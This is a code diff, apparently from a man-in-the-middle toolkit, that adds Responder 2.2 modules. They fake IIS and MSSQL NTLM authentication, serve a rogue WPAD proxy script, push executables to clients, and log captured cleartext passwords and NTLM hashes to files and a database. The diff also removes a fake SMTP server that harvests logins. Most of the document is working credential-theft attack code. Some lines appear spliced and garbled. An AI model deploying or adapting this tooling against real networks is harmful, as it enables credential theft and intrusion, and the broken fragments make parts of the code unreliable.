CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + # Target Name Offsets + self.fields["TargetNameOffset"] = struct.pack("\n\n\n\nLoading\n\n\n"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class IIS_NTLM_Challenge_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWWAuth", "WWW-Authenticate: NTLM "), + ("Payload", ""), + ("Payload-CRLF", "\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NC0CD7B7802C76736E9B26FB19BEB2D36290B9FF9A46EDDA5ET\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + + def calculate(self,payload): + self.fields["Payload"] = b64encode(payload) + +class IIS_Basic_401_Ans(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 401 Unauthorized\r\n"), + ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: text/html\r\n"), + ("WWW-Auth", "WWW-Authenticate: Basic realm=\"Authentication Required\"\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("AllowOrigin", "Access-Control-Allow-Origin: *\r\n"), + ("AllowCreds", "Access-Control-Allow-Credentials: true\r\n"), + ("Len", "Content-Length: 0\r\n"), + ("CRLF", "\r\n"), + ]) + +##### Proxy mode Packets ##### +class WPADScript(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ServerTlype", "Server: Microsoft-IIS/6.0\r\n"), + ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), + ("Type", "Content-Type: application/x-ns-proxy-autoconfig\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("CRLF", "\r\n\r\n"), + ("Payload", "function FindProxyForURL(url, host){return 'PROXY wpadwpadwpad:3141; DIRECT';}"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeExeFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: application/octet-stream\r\n"), + ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentDisp", "Content-Disposition: attachment; filename="), + ("ContentDiFile", ""), + ("FileCRLF", ";\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("X-CCC", "US\r\n"), + ("X-CID", "2\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +class ServeHtmlFile(Packet): + fields = OrderedDict([ + ("Code", "HTTP/1.1 200 OK\r\n"), + ("ContentType", "Content-Type: text/html\r\n"), + ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), + ("AcceptRanges", "Accept-Ranges: bytes\r\n"), + ("Server", "Server: Microsoft-IIS/7.5\r\n"), + ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), + ("ContentLen", "Content-Length: "), + ("ActualLen", "76"), + ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), + ("Connection", "Connection: keep-alive\r\n"), + ("CRLF", "\r\n"), + ("Payload", "jj"), + ]) + def calculate(self): + self.fields["ActualLen"] = len(str(self.fields["Payload"])) + +##### FTP Packets ##### +class FTPPacket(Packet): + fields = OrderedDict([ + ("Code", "220"), + ("Separator", "\x20"), + ("Message", "Welcome"), + ("Terminator", "\x0d\x0a"), + ]) + +##### SQL Packets ##### +class MSSQLPreLoginAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\x25"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\x00"), + ("VersionOffset", "\x00\x15"), + ("VersionLen", "\x00\x06"), + ("TokenType1", "\x01"), + ("EncryptionOffset", "\x00\x1b"), + ("EncryptionLen", "\x00\x01"), + ("TokenType2", "\x02"), + ("InstOptOffset", "\x00\x1c"), + ("InstOptLen", "\x00\x01"), + ("TokenTypeThrdID", "\x03"), + ("ThrdIDOffset", "\x00\x1d"), + ("ThrdIDLen", "\x00\x00"), + ("ThrdIDTerminator", "\xff"), + ("VersionStr", "\x09\x00\x0f\xc3"), + ("SubBuild", "\x00\x00"), + ("EncryptionStr", "\x02"), + ("InstOptStr", "\x00"), + ]) + + def calculate(self): + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"])+str(self.fields["VersionStr"])+str(self.fields["SubBuild"])+str(self.fields["EncryptionStr"])+str(self.fields["InstOptStr"]) + VersionOffset = str(self.fields["TokenType"])+str(self.fields["VersionOffset"])+str(self.fields["VersionLen"])+str(self.fields["TokenType1"])+str(self.fields["EncryptionOffset"])+str(self.fields["EncryptionLen"])+str(self.fields["TokenType2"])+str(self.fields["InstOptOffset"])+str(self.fields["InstOptLen"])+str(self.fields["TokenTypeThrdID"])+str(self.fields["ThrdIDOffset"])+str(self.fields["ThrdIDLen"])+str(self.fields["ThrdIDTerminator"]) + EncryptionOffset = VersionOffset+str(self.fields["VersionStr"])+str(self.fields["SubBuild"]) + InstOpOffset = EncryptionOffset+str(self.fields["EncryptionStr"]) + ThrdIDOffset = InstOpOffset+str(self.fields["InstOptStr"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + #Version + self.fields["VersionLen"] = struct.pack(">h",len(self.fields["VersionStr"]+self.fields["SubBuild"])) + self.fields["VersionOffset"] = struct.pack(">h",len(VersionOffset)) + #Encryption + self.fields["EncryptionLen"] = struct.pack(">h",len(self.fields["EncryptionStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(EncryptionOffset)) + #InstOpt + self.fields["InstOptLen"] = struct.pack(">h",len(self.fields["InstOptStr"])) + self.fields["EncryptionOffset"] = struct.pack(">h",len(InstOpOffset)) + #ThrdIDOffset + self.fields["ThrdIDOffset"] = struct.pack(">h",len(ThrdIDOffset)) + +class MSSQLNTLMChallengeAnswer(Packet): + fields = OrderedDict([ + ("PacketType", "\x04"), + ("Status", "\x01"), + ("Len", "\x00\xc7"), + ("SPID", "\x00\x00"), + ("PacketID", "\x01"), + ("Window", "\x00"), + ("TokenType", "\xed"), + ("SSPIBuffLen", "\xbc\x00"), + ("Signature", "NTLMSSP"), + ("SignatureNull", "\x00"), + ("MessageType", "\x02\x00\x00\x00"), + ("TargetNameLen", "\x06\x00"), + ("TargetNameMaxLen", "\x06\x00"), + ("TargetNameOffset", "\x38\x00\x00\x00"), + ("NegoFlags", "\x05\x02\x89\xa2"), + ("ServerChallenge", ""), + ("Reserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), + ("TargetInfoLen", "\x7e\x00"), + ("TargetInfoMaxLen", "\x7e\x00"), + ("TargetInfoOffset", "\x3e\x00\x00\x00"), + ("NTLMOsVersion", "\x05\x02\xce\x0e\x00\x00\x00\x0f"), + ("TargetNameStr", "SMB"), + ("Av1", "\x02\x00"),#nbt name + ("Av1Len", "\x06\x00"), + ("Av1Str", "SMB"), + ("Av2", "\x01\x00"),#Server name + ("Av2Len", "\x14\x00"), + ("Av2Str", "SMB-TOOLKIT"), + ("Av3", "\x04\x00"),#Full Domain name + ("Av3Len", "\x12\x00"), + ("Av3Str", "smb.local"), + ("Av4", "\x03\x00"),#Full machine domain name + ("Av4Len", "\x28\x00"), + ("Av4Str", "server2003.smb.local"), + ("Av5", "\x05\x00"),#Domain Forest Name + ("Av5Len", "\x12\x00"), + ("Av5Str", "smb.local"), + ("Av6", "\x00\x00"),#AvPairs Terminator + ("Av6Len", "\x00\x00"), + ]) + + def calculate(self): + # First convert to unicode + self.fields["TargetNameStr"] = self.fields["TargetNameStr"].encode('utf-16le') + self.fields["Av1Str"] = self.fields["Av1Str"].encode('utf-16le') + self.fields["Av2Str"] = self.fields["Av2Str"].encode('utf-16le') + self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le') + self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le') + self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le') + + # Then calculate + CalculateCompletePacket = str(self.fields["PacketType"])+str(self.fields["Status"])+str(self.fields["Len"])+str(self.fields["SPID"])+str(self.fields["PacketID"])+str(self.fields["Window"])+str(self.fields["TokenType"])+str(self.fields["SSPIBuffLen"])+str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateSSPI = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])+str(self.fields["TargetNameStr"])+str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"]) + CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"]) + CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"]) + + self.fields["Len"] = struct.pack(">h",len(CalculateCompletePacket)) + self.fields["SSPIBuffLen"] = struct.pack("i", len(CalculatePacketLen)) + self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) + self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) + ##### Workstation Offset Calculation: + self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("B", len(AsnLen+CalculateSecBlob)-3) + self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-6) + self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) + self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]))) + self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) + + ###### Andxoffset calculation. + CalculateCompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Action"])+str(self.fields["SecBlobLen"])+str(self.fields["Bcc"])+BccLen + self.fields["Andxoffset"] = struct.pack(". +import os +import sys +import socket +import utils +import logging +from core.configwatcher import ConfigWatcher + +__version__ = 'Responder 2.2' + +class Settings(ConfigWatcher): + + def __init__(self): + self.ResponderPATH = os.path.dirname(__file__) + self.Bind_To = '0.0.0.0' + + def __str__(self): + ret = 'Settings class:\n' + for attr in dir(self): + value = str(getattr(self, attr)).strip() + ret += " Settings.%s = %s\n" % (attr, value) + return ret + + def toBool(self, str): + return True if str.upper() == 'ON' else False + + def ExpandIPRanges(self): + def expand_ranges(lst): + ret = [] + for l in lst: + tab = l.split('.') + x = {} + i = 0 + for byte in tab: + if '-' not in byte: + x[i] = x[i+1] = int(byte) + else: + b = byte.split('-') + x[i] = int(b[0]) + x[i+1] = int(b[1]) + i += 2 + for a in range(x[0], x[1]+1): + for b in range(x[2], x[3]+1): + for c in range(x[4], x[5]+1): + for d in range(x[6], x[7]+1): + ret.append('%d.%d.%d.%d' % (a, b, c, d)) + return ret + + self.RespondTo = expand_ranges(self.RespondTo) + self.DontRespondTo = expand_ranges(self.DontRespondTo) + + def populate(self, options): + + # Servers + self.SSL_On_Off = self.toBool(self.config['Responder']['HTTPS']) + self.SQL_On_Off = self.toBool(self.config['Responder']['SQL']) + self.FTP_On_Off = self.toBool(self.config['Responder']['FTP']) + self.POP_On_Off = self.toBool(self.config['Responder']['POP']) + self.IMAP_On_Off = self.toBool(self.config['Responder']['IMAP']) + self.SMTP_On_Off = self.toBool(self.config['Responder']['SMTP']) + self.LDAP_On_Off = self.toBool(self.config['Responder']['LDAP']) + self.Krb_On_Off = self.toBool(self.config['Responder']['Kerberos']) + + # Db File + self.DatabaseFile = './logs/responder/Responder.db' + + # Log Files + self.LogDir = './logs/responder' + + if not os.path.exists(self.LogDir): + os.mkdir(self.LogDir) + + self.SessionLogFile = os.path.join(self.LogDir, 'Responder-Session.log') + self.PoisonersLogFile = os.path.join(self.LogDir, 'Poisoners-Session.log') + self.AnalyzeLogFile = os.path.join(self.LogDir, 'Analyzer-Session.log') + + self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt') + self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt') + self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt') + self.HTTPBasicLog = os.path.join(self.LogDir, 'HTTP-Clear-Text-Password-%s.txt') + self.LDAPClearLog = os.path.join(self.LogDir, 'LDAP-Clear-Text-Password-%s.txt') + self.SMBClearLog = os.path.join(self.LogDir, 'SMB-Clear-Text-Password-%s.txt') + self.SMTPClearLog = os.path.join(self.LogDir, 'SMTP-Clear-Text-Password-%s.txt') + self.MSSQLClearLog = os.path.join(self.LogDir, 'MSSQL-Clear-Text-Password-%s.txt') + + self.LDAPNTLMv1Log = os.path.join(self.LogDir, 'LDAP-NTLMv1-Client-%s.txt') + self.HTTPNTLMv1Log = os.path.join(self.LogDir, 'HTTP-NTLMv1-Client-%s.txt') + self.HTTPNTLMv2Log = os.path.join(self.LogDir, 'HTTP-NTLMv2-Client-%s.txt') + self.KerberosLog = os.path.join(self.LogDir, 'MSKerberos-Client-%s.txt') + self.MSSQLNTLMv1Log = os.path.join(self.LogDir, 'MSSQL-NTLMv1-Client-%s.txt') + self.MSSQLNTLMv2Log = os.path.join(self.LogDir, 'MSSQL-NTLMv2-Client-%s.txt') + self.SMBNTLMv1Log = os.path.join(self.LogDir, 'SMB-NTLMv1-Client-%s.txt') + self.SMBNTLMv2Log = os.path.join(self.LogDir, 'SMB-NTLMv2-Client-%s.txt') + self.SMBNTLMSSPv1Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv1-Client-%s.txt') + self.SMBNTLMSSPv2Log = os.path.join(self.LogDir, 'SMB-NTLMSSPv2-Client-%s.txt') + + # HTTP Options + self.Serve_Exe = self.toBool(self.config['Responder']['HTTP Server']['Serve-Exe']) + self.Serve_Always = self.toBool(self.config['Responder']['HTTP Server']['Serve-Always']) + self.Serve_Html = self.toBool(self.config['Responder']['HTTP Server']['Serve-Html']) + self.Html_Filename = self.config['Responder']['HTTP Server']['HtmlFilename'] + self.Exe_Filename = self.config['Responder']['HTTP Server']['ExeFilename'] + self.Exe_DlName = self.config['Responder']['HTTP Server']['ExeDownloadName'] + self.WPAD_Script = self.config['Responder']['HTTP Server']['WPADScript'] + + if not os.path.exists(self.Html_Filename): + print utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1) + + if not os.path.exists(self.Exe_Filename): + print utils.color("/!\ Warning: %s: file not found" % self.Exe_Filename, 3, 1) + + # SSL Options + self.SSLKey = self.config['Responder']['HTTPS Server']['SSLKey'] + self.SSLCert = self.config['Responder']['HTTPS Server']['SSLCert'] + + # Respond to hosts + self.RespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondTo'].strip().split(',')]) + self.RespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['RespondToName'].strip().split(',')]) + self.DontRespondTo = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondTo'].strip().split(',')]) + self.DontRespondToName = filter(None, [x.upper().strip() for x in self.config['Responder']['DontRespondToName'].strip().split(',')]) + + # CLI options + self.Interface = options.interface + + try: + self.LM_On_Off = options.LM_On_Off + self.WPAD_On_Off = options.WPAD_On_Off + self.Wredirect = options.Wredirect + self.NBTNSDomain = options.NBTNSDomain + self.Basic = options.Basic + self.Finger_On_Off = options.Finger + self.Force_WPAD_Auth = options.Force_WPAD_Auth + self.Upstream_Proxy = options.Upstream_Proxy + self.AnalyzeMode = options.Analyze + except AttributeError: + pass + + self.Verbose = False + self.CommandLine = str(sys.argv) + + self.Bind_To = utils.FindLocalIP(self.Interface) + + self.IP_aton = socket.inet_aton(self.Bind_To) + self.Os_version = sys.platform + + # Set up Challenge + self.NumChal = self.config['Responder']['Challenge'] + + if len(self.NumChal) is not 16: + print utils.color("[!] The challenge must be exactly 16 chars long.\nExample: 1122334455667788", 1) + sys.exit(-1) + + self.Challenge = "" + for i in range(0, len(self.NumChal),2): + self.Challenge += self.NumChal[i:i+2].decode("hex") + + # Set up logging + logging.basicConfig(filename=self.SessionLogFile, level=logging.INFO, format='%(asctime)s - %(message)s', datefmt='%Y-%m-%d %H:%M:%S') + logging.warning('Responder Started: {}'.format(self.CommandLine)) + #logging.warning('Responder Config: {}'.format(self)) + + Formatter = logging.Formatter('%(asctime)s - %(message)s') + PLog_Handler = logging.FileHandler(self.PoisonersLogFile, 'w') + ALog_Handler = logging.FileHandler(self.AnalyzeLogFile, 'a') + PLog_Handler.setLevel(logging.INFO) + ALog_Handler.setLevel(logging.INFO) + PLog_Handler.setFormatter(Formatter) + ALog_Handler.setFormatter(Formatter) + + self.PoisonersLogger = logging.getLogger('Poisoners Log') + self.PoisonersLogger.addHandler(PLog_Handler) + + self.AnalyzeLogger = logging.getLogger('Analyze Log') + self.AnalyzeLogger.addHandler(ALog_Handler) + +global Config +Config = Settings() \ No newline at end of file diff --git a/core/responder/smtp/SMTPPackets.py b/core/responder/smtp/SMTPPackets.py deleted file mode 100644 index 0f80519..0000000 --- a/core/responder/smtp/SMTPPackets.py +++ /dev/null @@ -1,61 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from core.responder.odict import OrderedDict -from core.responder.packet import Packet - -#SMTP Greating class -class SMTPGreating(Packet): - fields = OrderedDict([ - ("Code", "220"), - ("Separator", "\x20"), - ("Message", "smtp01.local ESMTP"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH(Packet): - fields = OrderedDict([ - ("Code0", "250"), - ("Separator0", "\x2d"), - ("Message0", "smtp01.local"), - ("CRLF0", "\x0d\x0a"), - ("Code", "250"), - ("Separator", "\x20"), - ("Message", "AUTH LOGIN PLAIN XYMCOOKIE"), - ("CRLF", "\x0d\x0a"), - ]) - -class SMTPAUTH1(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "VXNlcm5hbWU6"),#Username - ("CRLF", "\x0d\x0a"), - - ]) - -class SMTPAUTH2(Packet): - fields = OrderedDict([ - ("Code", "334"), - ("Separator", "\x20"), - ("Message", "UGFzc3dvcmQ6"),#Password - ("CRLF", "\x0d\x0a"), - - ]) - - diff --git a/core/responder/smtp/SMTPserver.py b/core/responder/smtp/SMTPserver.py deleted file mode 100644 index ad246ed..0000000 --- a/core/responder/smtp/SMTPserver.py +++ /dev/null @@ -1,64 +0,0 @@ -import logging -import threading - -from SocketServer import TCPServer, ThreadingMixIn, BaseRequestHandler -from base64 import b64decode -from SMTPPackets import * -from core.responder.common import * -from core.logger import logger - -formatter = logging.Formatter("%(asctime)s [SMTPserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") -log = logger().setup_logger("SMTPserver", formatter) - -class SMTPserver(): - - def serve_thread_tcp(self, port): - try: - server = ThreadingTCPServer(("0.0.0.0", port), ESMTP) - server.serve_forever() - except Exception as e: - log.error("Error starting TCP server on port {}: {}".format(port, e)) - - #Function name self-explanatory - def start(self): - log.debug("online") - t1 = threading.Thread(name="ESMTP-25", target=self.serve_thread_tcp, args=(25,)) - t2 = threading.Thread(name="ESMTP-587", target=self.serve_thread_tcp, args=(587,)) - - for t in [t1, t2]: - t.setDaemon(True) - t.start() - -class ThreadingTCPServer(ThreadingMixIn, TCPServer): - - allow_reuse_address = 1 - - def server_bind(self): - TCPServer.server_bind(self) - -#ESMTP server class. -class ESMTP(BaseRequestHandler): - - def handle(self): - try: - self.request.send(str(SMTPGreating())) - data = self.request.recv(1024) - if data[0:4] == "EHLO": - self.request.send(str(SMTPAUTH())) - data = self.request.recv(1024) - if data[0:4] == "AUTH": - self.request.send(str(SMTPAUTH1())) - data = self.request.recv(1024) - if data: - Username = b64decode(data[:len(data)-2]) - self.request.send(str(SMTPAUTH2())) - data = self.request.recv(1024) - if data: - Password = b64decode(data[:len(data)-2]) - Outfile = "./logs/responder/SMTP-Clear-Text-Password-"+self.client_address[0]+".txt" - WriteData(Outfile,Username+":"+Password, Username+":"+Password) - #print "[+]SMTP Credentials from %s. User/Pass: %s:%s "%(self.client_address[0],Username,Password) - log.info("{} SMTP User: {} Pass:{} ".format(self.client_address[0],Username,Password)) - - except Exception as e: - log.error("Error handling request: {}".format(e)) diff --git a/core/responder/smtp/__init__.py b/core/responder/smtp/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/core/responder/utils.py b/core/responder/utils.py new file mode 100644 index 0000000..1da7508 --- /dev/null +++ b/core/responder/utils.py @@ -0,0 +1,358 @@ +#!/usr/bin/env python +# This file is part of Responder +# Original work by Laurent Gaffie - Trustwave Holdings +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . +import os +import sys +import re +import logging +import socket +import time +import settings + +try: + import sqlite3 +except: + print "[!] Please install python-sqlite3 extension." + sys.exit(0) + +def color(txt, code = 1, modifier = 0): + + if txt.startswith('[*]'): + settings.Config.PoisonersLogger.warning(txt) + + elif 'Analyze' in txt: + settings.Config.AnalyzeLogger.warning(txt) + + # No colors for windows... + if os.name == 'nt': + return txt + + return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) + +def text(txt): + logging.info(txt) + + if os.name == 'nt': + return txt + + return '\r'+re.sub(r'\[([^]]*)\]', "\033[1;34m[\\1]\033[0m", txt) + +def RespondToThisIP(ClientIp): + + if ClientIp.startswith('127.0.0.'): + return False + + if len(settings.Config.RespondTo) and ClientIp not in settings.Config.RespondTo: + return False + + if ClientIp in settings.Config.RespondTo or settings.Config.RespondTo == []: + if ClientIp not in settings.Config.DontRespondTo: + return True + + return False + +def RespondToThisName(Name): + + if len(settings.Config.RespondToName) and Name.upper() not in settings.Config.RespondToName: + return False + + if Name.upper() in settings.Config.RespondToName or settings.Config.RespondToName == []: + if Name.upper() not in settings.Config.DontRespondToName: + return True + + return False + +def RespondToThisHost(ClientIp, Name): + return (RespondToThisIP(ClientIp) and RespondToThisName(Name)) + +def IsOsX(): + return True if settings.Config.Os_version == "darwin" else False + +def OsInterfaceIsSupported(): + if settings.Config.Interface != "Not set": + return False if IsOsX() else True + else: + return False + +def FindLocalIP(Iface): + + if Iface == 'ALL': + return '0.0.0.0' + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.setsockopt(socket.SOL_SOCKET, 25, Iface+'\0') + s.connect(("127.0.0.1",9))#RFC 863 + ret = s.getsockname()[0] + s.close() + + return ret + + except socket.error: + print color("[!] Error: %s: Interface not found" % Iface, 1) + sys.exit(-1) + +# Function used to write captured hashs to a file. +def WriteData(outfile, data, user): + + logging.info("[*] Captured Hash: %s" % data) + + if os.path.isfile(outfile) == False: + with open(outfile,"w") as outf: + outf.write(data) + outf.write("\n") + outf.close() + + else: + with open(outfile,"r") as filestr: + if re.search(user.encode('hex'), filestr.read().encode('hex')): + filestr.close() + return False + if re.search(re.escape("$"), user): + filestr.close() + return False + + with open(outfile,"a") as outf2: + outf2.write(data) + outf2.write("\n") + outf2.close() + +def SaveToDb(result): + + # Creating the DB if it doesn't exist + if not os.path.exists(settings.Config.DatabaseFile): + cursor = sqlite3.connect(settings.Config.DatabaseFile) + cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))') + cursor.commit() + cursor.close() + + for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]: + if not k in result: + result[k] = '' + + if len(result['user']) < 2: + return + + if len(result['cleartext']): + fname = '%s-%s-ClearText-%s.txt' % (result['module'], result['type'], result['client']) + else: + fname = '%s-%s-%s.txt' % (result['module'], result['type'], result['client']) + + timestamp = time.strftime("%d-%m-%Y %H:%M:%S") + logfile = os.path.join('./logs/responder', fname) + + cursor = sqlite3.connect(settings.Config.DatabaseFile) + res = cursor.execute("SELECT COUNT(*) AS count FROM responder WHERE module=? AND type=? AND LOWER(user)=LOWER(?)", (result['module'], result['type'], result['user'])) + (count,) = res.fetchone() + + if count == 0: + + # Write JtR-style hash string to file + with open(logfile,"a") as outf: + outf.write(result['fullhash']) + outf.write("\n") + outf.close() + + # Update database + cursor.execute("INSERT INTO responder VALUES(?, ?, ?, ?, ?, ?, ?, ?, ?)", (timestamp, result['module'], result['type'], result['client'], result['hostname'], result['user'], result['cleartext'], result['hash'], result['fullhash'])) + 